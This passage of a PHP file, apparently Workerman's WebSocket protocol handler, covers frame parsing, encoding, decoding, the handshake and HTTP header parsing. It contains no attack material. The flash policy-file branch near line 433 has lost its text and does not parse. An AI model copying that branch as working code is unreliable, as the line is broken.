119 | exit(250);
120 | }
121 | } // Send pong package to client.
122 | else {
123 | $connection->send(pack('H*', '8a00'), true);
124 | }
125 |
126 | // Consume data from receive buffer.
127 | if (!$data_len) {
128 | $head_len = 6;
129 | $connection->consumeRecvBuffer($head_len);
130 | if ($recv_len > $head_len) {
131 | return static::input(substr($buffer, $head_len), $connection);
132 | }
133 | return 0;
134 | }
135 | break;
136 | // Pong package.
137 | case 0xa:
138 | // Try to emit onWebSocketPong callback.
139 | if (isset($connection->onWebSocketPong) || isset($connection->worker->onWebSocketPong)) {
140 | try {
141 | call_user_func(isset($connection->onWebSocketPong)?$connection->onWebSocketPong:$connection->worker->onWebSocketPong, $connection);
142 | } catch (\Exception $e) {
143 | Worker::log($e);
144 | exit(250);
145 | } catch (\Error $e) {
146 | Worker::log($e);
147 | exit(250);
148 | }
149 | }
150 | // Consume data from receive buffer.
151 | if (!$data_len) {
152 | $head_len = 6;
153 | $connection->consumeRecvBuffer($head_len);
154 | if ($recv_len > $head_len) {
155 | return static::input(substr($buffer, $head_len), $connection);
156 | }
157 | return 0;
158 | }
159 | break;
160 | // Wrong opcode.
161 | default :
162 | echo "error opcode $opcode and close websocket connection. Buffer:" . bin2hex($buffer) . "\n";
163 | $connection->close();
164 | return 0;
165 | }
166 |
167 | // Calculate packet length.
168 | $head_len = 6;
169 | if ($data_len === 126) {
170 | $head_len = 8;
171 | if ($head_len > $recv_len) {
172 | return 0;
173 | }
174 | $pack = unpack('nn/ntotal_len', $buffer);
175 | $data_len = $pack['total_len'];
176 | } else {
177 | if ($data_len === 127) {
178 | $head_len = 14;
179 | if ($head_len > $recv_len) {
180 | return 0;
181 | }
182 | $arr = unpack('n/N2c', $buffer);
183 | $data_len = $arr['c1']*4294967296 + $arr['c2'];
184 | }
185 | }
186 | $current_frame_length = $head_len + $data_len;
187 |
188 | $total_package_size = strlen($connection->websocketDataBuffer) + $current_frame_length;
189 | if ($total_package_size > TcpConnection::$maxPackageSize) {
190 | echo "error package. package_length=$total_package_size\n";
191 | $connection->close();
192 | return 0;
193 | }
194 |
195 | if ($is_fin_frame) {
196 | return $current_frame_length;
197 | } else {
198 | $connection->websocketCurrentFrameLength = $current_frame_length;
199 | }
200 | }
201 |
202 | // Received just a frame length data.
203 | if ($connection->websocketCurrentFrameLength === $recv_len) {
204 | static::decode($buffer, $connection);
205 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength);
206 | $connection->websocketCurrentFrameLength = 0;
207 | return 0;
208 | } // The length of the received data is greater than the length of a frame.
209 | elseif ($connection->websocketCurrentFrameLength < $recv_len) {
210 | static::decode(substr($buffer, 0, $connection->websocketCurrentFrameLength), $connection);
211 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength);
212 | $current_frame_length = $connection->websocketCurrentFrameLength;
213 | $connection->websocketCurrentFrameLength = 0;
214 | // Continue to read next frame.
215 | return static::input(substr($buffer, $current_frame_length), $connection);
216 | } // The length of the received data is less than the length of a frame.
217 | else {
218 | return 0;
219 | }
220 | }
221 |
222 | /**
223 | * Websocket encode.
224 | *
225 | * @param string $buffer
226 | * @param ConnectionInterface $connection
227 | * @return string
228 | */
229 | public static function encode($buffer, ConnectionInterface $connection)
230 | {
231 | if (!is_scalar($buffer)) {
232 | throw new \Exception("You can't send(" . gettype($buffer) . ") to client, you need to convert it to a string. ");
233 | }
234 | $len = strlen($buffer);
235 | if (empty($connection->websocketType)) {
236 | $connection->websocketType = static::BINARY_TYPE_BLOB;
237 | }
238 |
239 | $first_byte = $connection->websocketType;
240 |
241 | if ($len <= 125) {
242 | $encode_buffer = $first_byte . chr($len) . $buffer;
243 | } else {
244 | if ($len <= 65535) {
245 | $encode_buffer = $first_byte . chr(126) . pack("n", $len) . $buffer;
246 | } else {
247 | $encode_buffer = $first_byte . chr(127) . pack("xxxxN", $len) . $buffer;
248 | }
249 | }
250 |
251 | // Handshake not completed so temporary buffer websocket data waiting for send.
252 | if (empty($connection->websocketHandshake)) {
253 | if (empty($connection->tmpWebsocketData)) {
254 | $connection->tmpWebsocketData = '';
255 | }
256 | // If buffer has already full then discard the current package.
257 | if (strlen($connection->tmpWebsocketData) > $connection->maxSendBufferSize) {
258 | if ($connection->onError) {
259 | try {
260 | call_user_func($connection->onError, $connection, WORKERMAN_SEND_FAIL, 'send buffer full and drop package');
261 | } catch (\Exception $e) {
262 | Worker::log($e);
263 | exit(250);
264 | } catch (\Error $e) {
265 | Worker::log($e);
266 | exit(250);
267 | }
268 | }
269 | return '';
270 | }
271 | $connection->tmpWebsocketData .= $encode_buffer;
272 | // Check buffer is full.
273 | if ($connection->maxSendBufferSize <= strlen($connection->tmpWebsocketData)) {
274 | if ($connection->onBufferFull) {
275 | try {
276 | call_user_func($connection->onBufferFull, $connection);
277 | } catch (\Exception $e) {
278 | Worker::log($e);
279 | exit(250);
280 | } catch (\Error $e) {
281 | Worker::log($e);
282 | exit(250);
283 | }
284 | }
285 | }
286 |
287 | // Return empty string.
288 | return '';
289 | }
290 |
291 | return $encode_buffer;
292 | }
293 |
294 | /**
295 | * Websocket decode.
296 | *
297 | * @param string $buffer
298 | * @param ConnectionInterface $connection
299 | * @return string
300 | */
301 | public static function decode($buffer, ConnectionInterface $connection)
302 | {
303 | $masks = $data = $decoded = null;
304 | $len = ord($buffer[1]) & 127;
305 | if ($len === 126) {
306 | $masks = substr($buffer, 4, 4);
307 | $data = substr($buffer, 8);
308 | } else {
309 | if ($len === 127) {
310 | $masks = substr($buffer, 10, 4);
311 | $data = substr($buffer, 14);
312 | } else {
313 | $masks = substr($buffer, 2, 4);
314 | $data = substr($buffer, 6);
315 | }
316 | }
317 | for ($index = 0; $index < strlen($data); $index++) {
318 | $decoded .= $data[$index] ^ $masks[$index % 4];
319 | }
320 | if ($connection->websocketCurrentFrameLength) {
321 | $connection->websocketDataBuffer .= $decoded;
322 | return $connection->websocketDataBuffer;
323 | } else {
324 | if ($connection->websocketDataBuffer !== '') {
325 | $decoded = $connection->websocketDataBuffer . $decoded;
326 | $connection->websocketDataBuffer = '';
327 | }
328 | return $decoded;
329 | }
330 | }
331 |
332 | /**
333 | * Websocket handshake.
334 | *
335 | * @param string $buffer
336 | * @param \Workerman\Connection\TcpConnection $connection
337 | * @return int
338 | */
339 | protected static function dealHandshake($buffer, $connection)
340 | {
341 | // HTTP protocol.
342 | if (0 === strpos($buffer, 'GET')) {
343 | // Find \r\n\r\n.
344 | $heder_end_pos = strpos($buffer, "\r\n\r\n");
345 | if (!$heder_end_pos) {
346 | return 0;
347 | }
348 | $header_length = $heder_end_pos + 4;
349 |
350 | // Get Sec-WebSocket-Key.
351 | $Sec_WebSocket_Key = '';
352 | if (preg_match("/Sec-WebSocket-Key: *(.*?)\r\n/i", $buffer, $match)) {
353 | $Sec_WebSocket_Key = $match[1];
354 | } else {
355 | $connection->send("HTTP/1.1 400 Bad Request\r\n\r\n400 Bad Request
Sec-WebSocket-Key not found.
This is a WebSocket service and can not be accessed via HTTP.
See http://wiki.workerman.net/Error1 for detail.",
356 | true);
357 | $connection->close();
358 | return 0;
359 | }
360 | // Calculation websocket key.
361 | $new_key = base64_encode(sha1($Sec_WebSocket_Key . "258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true));
362 | // Handshake response data.
363 | $handshake_message = "HTTP/1.1 101 Switching Protocols\r\n";
364 | $handshake_message .= "Upgrade: websocket\r\n";
365 | $handshake_message .= "Sec-WebSocket-Version: 13\r\n";
366 | $handshake_message .= "Connection: Upgrade\r\n";
367 | $handshake_message .= "Sec-WebSocket-Accept: " . $new_key . "\r\n";
368 |
369 | // Websocket data buffer.
370 | $connection->websocketDataBuffer = '';
371 | // Current websocket frame length.
372 | $connection->websocketCurrentFrameLength = 0;
373 | // Current websocket frame data.
374 | $connection->websocketCurrentFrameBuffer = '';
375 | // Consume handshake data.
376 | $connection->consumeRecvBuffer($header_length);
377 |
378 | // blob or arraybuffer
379 | if (empty($connection->websocketType)) {
380 | $connection->websocketType = static::BINARY_TYPE_BLOB;
381 | }
382 |
383 | $has_server_header = false;
384 |
385 | // Try to emit onWebSocketConnect callback.
386 | if (isset($connection->onWebSocketConnect) || isset($connection->worker->onWebSocketConnect)) {
387 | static::parseHttpHeader($buffer);
388 | try {
389 | call_user_func(isset($connection->onWebSocketConnect)?$connection->onWebSocketConnect:$connection->worker->onWebSocketConnect, $connection, $buffer);
390 | } catch (\Exception $e) {
391 | Worker::log($e);
392 | exit(250);
393 | } catch (\Error $e) {
394 | Worker::log($e);
395 | exit(250);
396 | }
397 | if (!empty($_SESSION) && class_exists('\GatewayWorker\Lib\Context')) {
398 | $connection->session = \GatewayWorker\Lib\Context::sessionEncode($_SESSION);
399 | }
400 | $_GET = $_SERVER = $_SESSION = $_COOKIE = array();
401 |
402 | if (isset($connection->headers)) {
403 | if (is_array($connection->headers)) {
404 | foreach ($connection->headers as $header) {
405 | if (strpos($header, 'Server:') === 0) {
406 | $has_server_header = true;
407 | }
408 | $handshake_message .= "$header\r\n";
409 | }
410 | } else {
411 | $handshake_message .= "$connection->headers\r\n";
412 | }
413 | }
414 | }
415 | if (!$has_server_header) {
416 | $handshake_message .= "Server: workerman/".Worker::VERSION."\r\n";
417 | }
418 | $handshake_message .= "\r\n";
419 | // Send handshake response.
420 | $connection->send($handshake_message, true);
421 | // Mark handshake complete..
422 | $connection->websocketHandshake = true;
423 | // There are data waiting to be sent.
424 | if (!empty($connection->tmpWebsocketData)) {
425 | $connection->send($connection->tmpWebsocketData, true);
426 | $connection->tmpWebsocketData = '';
427 | }
428 | if (strlen($buffer) > $header_length) {
429 | return static::input(substr($buffer, $header_length), $connection);
430 | }
431 | return 0;
432 | } // Is flash policy-file-request.
433 | elseif (0 === strpos($buffer, '' . "\0";
435 | $connection->send($policy_xml, true);
436 | $connection->consumeRecvBuffer(strlen($buffer));
437 | return 0;
438 | }
439 | // Bad websocket handshake request.
440 | $connection->send("HTTP/1.1 400 Bad Request\r\n\r\n400 Bad Request
Invalid handshake data for websocket.
See http://wiki.workerman.net/Error1 for detail.",
441 | true);
442 | $connection->close();
443 | return 0;
444 | }
445 |
446 | /**
447 | * Parse http header.
448 | *
449 | * @param string $buffer
450 | * @return void
451 | */
452 | protected static function parseHttpHeader($buffer)
453 | {
454 | // Parse headers.
455 | list($http_header, ) = explode("\r\n\r\n", $buffer, 2);
456 | $header_data = explode("\r\n", $http_header);
457 |
458 | if ($_SERVER) {
459 | $_SERVER = array();
460 | }
461 |
462 | list($_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI'], $_SERVER['SERVER_PROTOCOL']) = explode(' ',
463 | $header_data[0]);
464 |
465 | unset($header_data[0]);
466 | foreach ($header_data as $content) {
467 | // \r\n\r\n
468 | if (empty($content)) {
469 | continue;
470 | }
471 | list($key, $value) = explode(':', $content, 2);
472 | $key = str_replace('-', '_', strtoupper($key));
473 | $value = trim($value);
474 | $_SERVER['HTTP_' . $key] = $value;
475 | switch ($key) {
476 | // HTTP_HOST
477 | case 'HOST':
478 | $tmp = explode(':', $value);
479 | $_SERVER['SERVER_NAME'] = $tmp[0];
480 | if (isset($tmp[1])) {
481 | $_SERVER['SERVER_PORT'] = $tmp[1];
482 | }
483 | break;
484 | // cookie
485 | case 'COOKIE':
486 | parse_str(str_replace('; ', '&', $_SERVER['HTTP_COOKIE']), $_COOKIE);
487 | break;
488 | }
489 | }
490 |
491 | // QUERY_STRING
492 | $_SERVER['QUERY_STRING'] = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY);
493 | if ($_SERVER['QUERY_STRING']) {
494 | // $GET
495 | parse_str($_SERVER['QUERY_STRING'], $_GET);
496 | } else {
497 | $_SERVER['QUERY_STRING'] = '';
498 | }
499 | }
500 | }
501 |
--------------------------------------------------------------------------------